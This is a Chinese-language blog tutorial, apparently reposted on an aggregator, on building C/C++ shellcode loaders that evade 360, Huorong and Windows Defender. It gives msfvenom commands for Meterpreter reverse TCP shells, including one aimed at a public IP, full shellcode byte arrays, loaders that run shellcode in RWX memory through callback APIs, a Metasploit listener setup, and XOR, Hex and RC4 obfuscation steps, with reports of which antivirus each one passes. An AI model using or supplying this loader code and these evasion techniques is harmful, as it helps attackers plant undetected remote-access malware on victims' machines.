Shellcode免杀对抗(C/C++)

Shellcode C/C++免杀,绕过360安全卫士、火绒安全、Defender

C/C++基于cs/msf的上线

首先是测试一下shellcode上线,主要是俩种方法

测试环境

攻击机:kali2023

靶机:win10

msf方法

首先是启动msf

msfconsole

然后msf生成一个shellcode代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.141 
lport=6688 -f c

或者是x64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.178.141 LPORT=6688 -f c 

注意这里的x64不同在后面如果没有使用对应的编译环境,可能会造成无法上线

这里生成的一个payload,将其编译实现上线

image-20240204215801637

下面就是运行的c文件基本格式,每次使用替换其中的shellcode即可

#include <Windows.h>
#include <stdio.h>
#include <string.h>
​
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
​
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb2\x8d\x68\x02\x00"
"\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
​
int main()
{//方式一:指针执行/* ((void(*)(void)) & buf)();*/
​//方式二:强制类型转换//((void(WINAPI*)(void))&buf)();
​//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*/
​//方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}
​//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}

注意上面说到小细节,我并没有使用x64所以是x86的,选择Release,否则影响上线结果

image-20240204224028433

成功生成exe文件

image-20240204224548038

接下来打开msf的监听功能

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.178.141 //kali的地址或者全ip 0.0.0.0
set lport 6688
run

image-20240204225205501

把exe文件放到靶机运行,成功监听

image-20240205195234758

cs方法

先开启cs

image-20240205195806396

win10打开cs

image-20240205195954059

选择之前配置好的监听器,注意这里是x64,后面编译的时候要使用x64编译

image-20240205200238384

image-20240205200112004

之后打开.c文件是一个未编译代码,放到上文的编译代码中,注意这里是x64编译,用的方式三,使用.c文件

image-20240205200416762

上传并运行生成的exe文件,发现成功上线

image-20240205201216774

免杀开始

原理

shellcode相对于可执行文件更改更容易,不易损坏

先通过汇编,运行

image-20240207160540783

我们可以通过分析一下这个exe文件时如何上线到正确的地址的,这里联系msf源码中的windows的reverse_tcp.rb进行分析

image-20240207175451174

可以看出在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址

从执行代码中可以看出,运行玩call eax 才能调用buf

  • lea eax, buf:这是一条汇编指令,它的作用是将 buf 的地址加载到 eax 寄存器中。lea 指令不是真正意义上的加载,而是计算出 buf 的地址,但是不进行内存访问。

  • call eax:这是一条汇编中的调用指令,它的作用是调用 eax 寄存器中所存储的地址对应的函数。在这里,eax 寄存器中存储的是 buf 的地址,所以实际上是调用了 buf 所代表的函数。

这段代码的具体作用取决于 buf 所指向的内容,因为它实际上是间接调用了一个函数。

  __asm {lea eax,bufcall eax}

将生成的exe文件拖入debug程序中,进行分析,开启自动步入

image-20240207175346759

只有运行完call eax 才能出buf的内容,找到 call ebp,下面一个就是ip

image-20240207184500593

16进制转ip,发现是我们kali的ip

image-20240207184359896

下面是16进制转10进制,得到端口

image-20240207184913003

这里便是杀毒软件杀毒的原理,这就是特征,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,如果杀毒软件发现我们的可执行文件是一个木马程序。

特别的像360会上传可疑文件到沙盒进行测试,有时候你上传的木马在监听的时候,可能会有别的ip被监听,这就是沙盒测试

免杀手法测试

找到最好的方法,对杀毒工具进行测试

换加载器

加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。

可以理解为上面的代码除了shellcode就是加载器

因为我们的加载器的特征,各平台杀毒软件都有了已经,所有我们就要用新的,特征没有被锁定

我在网上找了几个加载器试了一下,基本上都过不去

比如说,这几个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
int main()
{char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f""\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b""\x77\x20\x8b\x3f\x80\x7e\x0c\x33""\x75\xf2\x89\xc7\x03\x78\x3c\x8b""\x57\x78\x01\xc2\x8b\x7a\x20\x01""\xc7\x89\xdd\x8b\x34\xaf\x01\xc6""\x45\x81\x3e\x43\x72\x65\x61\x75""\xf2\x81\x7e\x08\x6f\x63\x65\x73""\x75\xe9\x8b\x7a\x24\x01\xc7\x66""\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7""\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9""\xb1\xff\x53\xe2\xfd\x68\x63\x61""\x6c\x63\x89\xe2\x52\x52\x53\x53""\x53\x53\x53\x53\x52\x53\xff\xd7";HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(hAlloc, shellcode, sizeof(shellcode));EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc , LOCALE_SYSTEM_DEFAULT, (DWORD) 0);
}

还有这个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
​
int main()
{char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f""\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b""\x77\x20\x8b\x3f\x80\x7e\x0c\x33""\x75\xf2\x89\xc7\x03\x78\x3c\x8b""\x57\x78\x01\xc2\x8b\x7a\x20\x01""\xc7\x89\xdd\x8b\x34\xaf\x01\xc6""\x45\x81\x3e\x43\x72\x65\x61\x75""\xf2\x81\x7e\x08\x6f\x63\x65\x73""\x75\xe9\x8b\x7a\x24\x01\xc7\x66""\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7""\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9""\xb1\xff\x53\xe2\xfd\x68\x63\x61""\x6c\x63\x89\xe2\x52\x52\x53\x53""\x53\x53\x53\x53\x52\x53\xff\xd7";HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(hAlloc, shellcode, sizeof(shellcode));EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA) hAlloc,LGRPID_SUPPORTED,0);
}

估计是放网上都被用烂了,各个平台早就锁定了,要是代码能力好,还是自己写

image-20240207223225950

image-20240207224206969

ShellCode 变异-编码混淆加密算法

Xor Aes Hex Rc4 Rsa 等,可以是网上的加密代码,也可以自己写(自己写肯定是最好的)

1.网上的工具

GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages

先cs来一个shellcode

image-20240207230652853

文件重命名然后运行脚本

python2 shellcode_encoder.py -cpp -cs -py shellcode.raw swq xor

编译加密后的代码,运行文件火绒和360都没过

image-20240207233158719

2.我师傅给我编写的工具(工具就不发出来了)

可以过火绒和360

image-20240207233307557

image-20240207233355668

3、Hex

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117

lport=6688 -f c

CyberChef

https://github.com/ByPassAVTeam/ShellcodeLoader

可以过火绒和360,但是过不了defender

4、Rc4

网络信息安全:RC4加密算法的实现_采用rc4_256加密算法 保证了重要数据在传输过程中的完整-CSDN博客

加密强度很高,惊讶于可以过火绒

image-20240207232055811

也可以过360,但是三分钟之后就不行了,估计360沙盒测试没了

image-20240207232246108

把defender也过了

以上工具仅供参考,但是过几个月甚至几天后,就被各个平台锁定了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686519.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CES 2024:NVIDIA 通过新的笔记本电脑、GPU 和工具提供生成式 AI

在 CES 2024 上&#xff0c;NVIDIA 推出了一系列硬件和软件&#xff0c;旨在释放 Windows 11 PC 上生成式 AI 的全部潜力。 在 PC 上本地运行生成式 AI 对于隐私、延迟和成本敏感型应用程序至关重要。在 CES 上&#xff0c;NVIDIA 将在整个技术堆栈中带来新的创新&#xff0c;…

C#开源免费的Windows右键菜单管理工具

前言 今天分享一个C#开源、免费、纯粹的Windows右键菜单管理工具&#xff1a;ContextMenuManager。 工具主要功能 程序支持国际化多语言显示。启用或禁用文件、文件夹、新建、发送到、打开方式、自定义文件格式、IE浏览器、WinX等右键菜单项目。对上述场景右键菜单项目进行修…

【NI-DAQmx入门】数据采集中的降噪技术

1.什么是噪声&#xff1f; 噪声是电路中存在的与期望信号不同的任何电信号 噪声可以降低&#xff0c;但不能消除 噪声可以在源头处被抑制 通过耦合可以降低数据传输通道的噪声 2.噪声耦合方法 导电性 电容性 感应性 其他 3.传导耦合噪声 来自不同电路的电流在一个公共阻抗中共…

⭐北邮复试刷题103. 二叉树的锯齿形层序遍历

103. 二叉树的锯齿形层序遍历 给你二叉树的根节点 root &#xff0c;返回其节点值的 锯齿形层序遍历 。&#xff08;即先从左往右&#xff0c;再从右往左进行下一层遍历&#xff0c;以此类推&#xff0c;层与层之间交替进行&#xff09;。 示例 1&#xff1a;输入&#xff1a…

英文论文(sci)解读复现【NO.21】一种基于空间坐标的轻量级目标检测器无人机航空图像的自注意

此前出了目标检测算法改进专栏&#xff0c;但是对于应用于什么场景&#xff0c;需要什么改进方法对应与自己的应用场景有效果&#xff0c;并且多少改进点能发什么水平的文章&#xff0c;为解决大家的困惑&#xff0c;此系列文章旨在给大家解读发表高水平学术期刊中的 SCI论文&a…

AutoKeras(Python自动化机器学习)多模态数据和多任务

要点拓扑 AutoKeras 拓扑 要点 常规机器学习&#xff1a;scikit-learn示例探索性数据分析和数据预处理&#xff0c;线性回归&#xff0c;决策树图像分类ResNet模型示例&#xff0c;合成数据集DenseNet模型示例绘图线性回归和决策树模型使用Python工具seaborn、matplotlib、pan…

论文阅读:四足机器人对抗运动先验学习稳健和敏捷的行走

论文&#xff1a;Learning Robust and Agile Legged Locomotion Using Adversarial Motion Priors 进一步学习&#xff1a;AMP&#xff0c;baseline方法&#xff0c;TO 摘要&#xff1a; 介绍了一种新颖的系统&#xff0c;通过使用对抗性运动先验 (AMP) 使四足机器人在复杂地…

Github项目推荐-Tiny-Rdm

项目地址 GitHub - tiny-craft/tiny-rdm: A Modern Redis GUI Client 项目简述 一个开源的Redis管理工具&#xff0c;有漂亮的界面和丰富的功能。使用的编程语言如下 项目截图

【IIS中绑定SSL证书】

下载SSL证书&#xff1a; 打开服务器IIS&#xff1a; 点击导入 在IIS中新增网站&#xff1a;

【制作100个unity游戏之25】3D背包、库存、制作、快捷栏、存储系统、砍伐树木获取资源、随机战利品宝箱8(附带项目源码)

效果演示 文章目录 效果演示系列目录前言砍树功能源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列&#xff01;本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第25篇中&#xff0c;我们将探索如何用unity制作一个3D背包、库存、制作、快捷栏、存…

NodeJS背后的人:Express

NodeJS背后的人&#xff1a;Express 本篇文章&#xff0c;学习记录于&#xff1a;尚硅谷&#x1f3a2; 文章简单学习总结&#xff1a;如有错误 大佬 &#x1f449;点. 前置知识&#xff1a;需要掌握了解&#xff1a; JavaScript基础语法 、Node.JS环境API 、前端工程\模块化 …

【Linux】程序地址空间 -- 详解 Linux 2.6 内核进程调度队列 -- 了解

一、程序地址空间回顾 在学习 C/C 时&#xff0c;我们知道内存会被分为几个区域&#xff1a;栈区、堆区、全局/静态区、代码区、字符常量区等。但这仅仅是在语言层面上的理解&#xff0c;是远远不够的。 如下空间布局图&#xff0c;请问这是物理内存吗&#xff1f; 不是&…

Acwing 周赛143 解题报告 | 珂学家 | 状压DP

前言 整体评价 被这个T2难住了, 幸好最后磨出来了&#xff0c;感觉蛮头痛的。T3是道状压题&#xff0c;这个反而容易写。 A. 时间 思路: 模拟 取模&#xff0c;但是对0要改成12 n int(input())r n % 12print (12 if r 0 else r)B. 数对推理 思路: 按题意模拟 如果一组…

Kubernetes 元信息与控制器模型

一、资源元信息&#xff1a; Kubernetes 的资源对象组成&#xff1a;主要包括了 Spec、Status 和元数据。其中 Spec 部分用来描述期望的状态&#xff0c;Status 部分用来描述观测到的状态。 元数据主要包括了&#xff1a;Labels 用来识别资源的标签&#xff1b;Annotations 用…

EasyUI动态加载组件

要实现如下的效果&#xff0c;在表格中显示进度条 主要是需要再次初始化组件&#xff0c;借用ChatGPT的意思是&#xff1a; 在许多 JavaScript UI 框架中&#xff0c;包括 EasyUI&#xff0c;在动态地创建或插入新的 DOM 元素后&#xff0c;通常需要手动初始化相关的组件或特性…

DPU技术的进步:赋予未来创新力量

随着云计算和虚拟化技术的发展&#xff0c;网卡在功能和硬件结构方面也经历了四个阶段&#xff0c;即网卡、智能网卡、基于FPGA的DPU和DPU SoC网卡。本文将重点介绍这些不同类型的网络适配器和处理器&#xff0c;在硬件、可编程能力、开发和应用方面的特点。 网卡的演进和应用…

第四节笔记:XTuner 大模型单卡低成本微调实战

视频链接&#xff1a;https://www.bilibili.com/video/BV1yK4y1B75J/?spm_id_from333.788&vd_source3bbd0d74033e31cbca9ee35e111ed3d1 课程笔记&#xff1a; 1.Finetune简介 指令微调&#xff1a; 开始的大模型可能不知道问的是问题 这三种角色的划分只有在微调训练阶…

LeetCode、452. 用最少数量的箭引爆气球【中等,贪心,区间问题】

文章目录 前言LeetCode、452. 用最少数量的箭引爆气球【中等&#xff0c;贪心&#xff0c;区间问题】题目链接与分类思路贪心&#xff0c;连续区间数量问题 资料获取 前言 博主介绍&#xff1a;✌目前全网粉丝2W&#xff0c;csdn博客专家、Java领域优质创作者&#xff0c;博客…

Unity 减低GC和优化

文章目录 在Unity中&#xff0c;垃圾收集&#xff08;Garbage Collection, GC&#xff09;是一项重要的内存管理机制&#xff0c;但过度的GC活动可能会导致性能瓶颈。优化Unity项目中的GC涉及减少不必要的对象分配和生命周期管理。以下列举了五个实例来详细说明如何降低GC负担并…

数学建模【线性规划】

一、线性规划简介 线性规划通俗讲就是“有限的资源中获取最大的收益”&#xff08;优化类问题&#xff09;。而且所有的变量关系式都是线性的&#xff0c;不存在x、指数函数、对数函数、反比例函数、三角函数等。此模型要优化的就是在一组线性约束条件下&#xff0c;求线性目标…